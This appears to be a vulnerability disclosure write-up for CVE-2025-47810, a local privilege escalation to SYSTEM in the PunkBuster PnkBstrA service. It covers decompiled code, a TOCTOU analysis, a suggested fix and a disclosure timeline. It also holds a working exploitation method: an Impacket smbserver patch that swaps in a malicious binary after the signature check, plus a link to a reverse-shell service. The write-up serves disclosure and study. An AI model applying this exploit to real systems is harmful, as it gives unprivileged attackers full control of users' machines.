## https://sploitus.com/exploit?id=4EA820A2-BA0C-5A7A-85D3-E6214D2D5BE4
# PunkBuster LPI (CVE-2025-47810)

## Background
PunkBuster installs itself as two services, and an optional? kernel driver.
- `PnkBstrA`: Service that runs constantly in the background, and in charge of managing PunkBuster as a whole
- `PnkBstrB`: Service that starts when a protected game starts. Comes with more functionality than its `A` counterpart.
Both services are structured in a similar way, listening for UDP on `localhost` on a port in the range [44301, 44400].
Once it finds a port, it is written in the `Port` value in `HKLM:\SOFTWARE\Even Balance\PnkBstrA` or `HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA`.
Each request is stored in a global buffer which is 1500 bytes long (however, only 1499 bytes are received for a NUL terminator).
There is no standard structure for the request data, but here is their usual structure:
- first byte (usually a letter) indicating which functionality to invoke
- arguments for the functionality, and usually space separated if multiple ones are needed
The request types are as follows in `PnkBstrA`:
- `l`: Load: Starts and updates `PnkBstrB`
- Takes one (optional) argument, to the path of the updated `PnkBstrB` executable
- `u`: Unload: Stop `PnkBstrB`
- `v`: Version: Simply returns the version
- `m`: Monitor: Takes a PID, and finds if the PunkBuster client DLL (`pbcl.dll`) is in the process, dumping its memory if present.
## Vulnerability
The load handler (`l`) contains a TOCTOU style vulnerability, leading to a Local Privilege Escalation as `NT AUTHORITY\SYSTEM`.
The flow of the handler is something like this:
1. Delete the `PnkBstrB` service
2. Compute the MD5 of the file in the argument, if present
3. Validate the Authenticode and certificates of the executable in the argument, if present
- Among other checks, sure subject of certifcate is `Even Balance, Inc.`
4. Sleep between 750ms to 2.25s with no handles to the file, while trying to copy the file in the argument to `C:\Windows\SysWOW64\PnkBstrB.exe` or `C:\Windows\System32\PnkBstrB.exe`, depending on the platform
5. Compute the MD5 of the file copied in the system directory
6. Validate both MD5 hashes match
- If yes, create and start the `PnkBstrB` service running as `LocalSystem` with the newly copied file.
The issue here is that the file `PnkBstrA` is manipulating is reopened many times for each operation, leading to a situation where an attacker could modify the file in between operations.
This can lead to an issue where after the file is validated for its certificate, it is swapped and a malicious file ends up as the executable of the `PnkBstrB` service. This executable would make it possible for an unprivileged user to elevate to `NT AUTHORITY\SYSTEM`.
The relevant decompilation is shown here:
```c
int startPnkB(char *updateFileName) {
...
// Calculate first MD5
firstMd5Fp = fopen(updateFileName, "r+b");
strcpy(firstMd5, "1");
if ( firstMd5Fp )
computeMD5(updateFileName, firstMd5);
nowMs = GetTickCount();
busyWaitExpiration = rand() % 800 + 300;
while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
;
fclose(firstMd5Fp);
// INJECTION POINT 1
// Check certificate
certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
if ( g_Warnings >= 3 )
{
log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
if ( certificateFilePointer )
fclose(certificateFilePointer);
return 0;
}
if ( !checkValidCertificate(updateFileName) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
goto LABEL_49;
}
// Build path to copy to
GetSystemDirectoryA(g_SystemDirectory, 246u);
if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
strncat(g_SystemDirectory, 260, "\\");
strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
_chmod(g_SystemDirectory, 0600);
strcpy(Str, g_SystemDirectory);
...
// INJECTION POINT 2
Sleep(750u);
if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
{
Sleep(750u);
for ( startTimea = 1; startTimea > 0; --startTimea )
{
Sleep(750u);
if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
break;
}
if ( startTimea < 1 )
{
LastError = GetLastError();
log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
fclose(certificateFilePointer);
return 0;
}
}
// Make sure we previously opened the file
v9 = certificateFilePointer;
if ( certificateFilePointer )
{
fclose(certificateFilePointer);
v9 = fopen(g_SystemDirectory, "rb");
}
// Second MD5
strcpy(newMd5, "2");
if ( v9 )
computeMD5(g_SystemDirectory, newMd5);
if ( memcmp(firstMd5, newMd5, 0x10u) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
LABEL_41:
if ( v9 )
fclose(v9);
return 0;
}
ServiceA = CreateServiceA(
hSCManager,
"PnkBstrB",
"PnkBstrB",
0xF01FFu,
0x10u,
2u,
1u,
g_SystemDirectory,
0,
0,
0,
0,
0);
...
}
```
A simple fix would be to copy the file first to a safe but temporary location (IE: PnkBstrB.exe.tmp), and compute the MD5 and checks from there. This way, the file will not be editable by a malicious actor. This would also ensure that one copy of the file is opened, which prevents the SMB exploitation.
## Exploitation
### Approach 1
An attack scenario could be to provide a malicious file, wait for the MD5 to be calculated, replace the file with the original `PnkBstrB.exe` so the `WinVerifyTrust` and certificate checks pass, and then replace it again with the malicious file, for the second MD5 to pass and for the file to be copied and executed.
However, this scenario is very hard to execute, as replacing the file is difficult, and modifying it while it is opened by `PnkBstrA` doesn't seem to apply the changes.
This is because it is hard to schedule our code in the `INJECTION POINT 1` as seen in the code. It is probably possible by using many time critical priority threads, some of which constantly try to replace the file, and others block concurrent cores in busy waits.
### Approach 2
Another approach would be to try to have an MD5 collision between `PnkBstrB` and the malicious file. This would work by first having the legitimate file be used as the candidate for the first MD5 and be checked for the certificate. However, after that we have a nice pool of 750 milliseconds or more to replace the file with our own. Then, the second MD5 would pass and our file would be injected. While developing this though, I was lazy to wait for a collision to be generated so I opted for another approach.
### Approach 3
This code is Windows dependent, and uses `fopen` which maps to Windows' own I/O functions. By definition, this would mean SMB shares would be accessible. Furthermore, [MSDN](https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/fopen-wfopen?view=msvc-170) mentions this behavior is supported:
> `fopen` accepts UNC paths and paths that involve mapped network drives as long as the system that executes the code has access to the share or mapped drive at the time of execution
This means that we could use our first approach, but since the code would be dependent on our SMB share, we send different files depending on the number of times the file was requested.
By modifying Impacket's [`smbserver`](https://github.com/fortra/impacket/blob/master/impacket/smbserver.py), it is possible to obtain this behavior.
The full `.patch` file can be found [here](exploit/impacket.patch). The key changes are:
```py
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
...
if not hasattr(smbServer, '_hist'):
smbServer._hist = {}
if pathName.endswith('.exe'):
if pathName not in smbServer._hist.keys():
smbServer._hist[pathName] = 0
smbServer._hist[pathName] += 1
if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
pathName = './PwnBstr.exe'
else:
pathName = './PnkBstrB.exe'
```
As you can see, if it is the first time we open the file (first MD5) or at least the 8th time (file copy and onwards), we send the client the malicious file, while sending the original one in other cases.
The code of the malicious file can be found [here](exploit/PwnBstr/PwnBstr.c), which is a simple hello world service with a reverse shell.

## Disclosure
EvenBalance was contacted multiple times since 2025-02-15 through different methods but did not answer.
This issue was fully diclosed on 2025-05-10.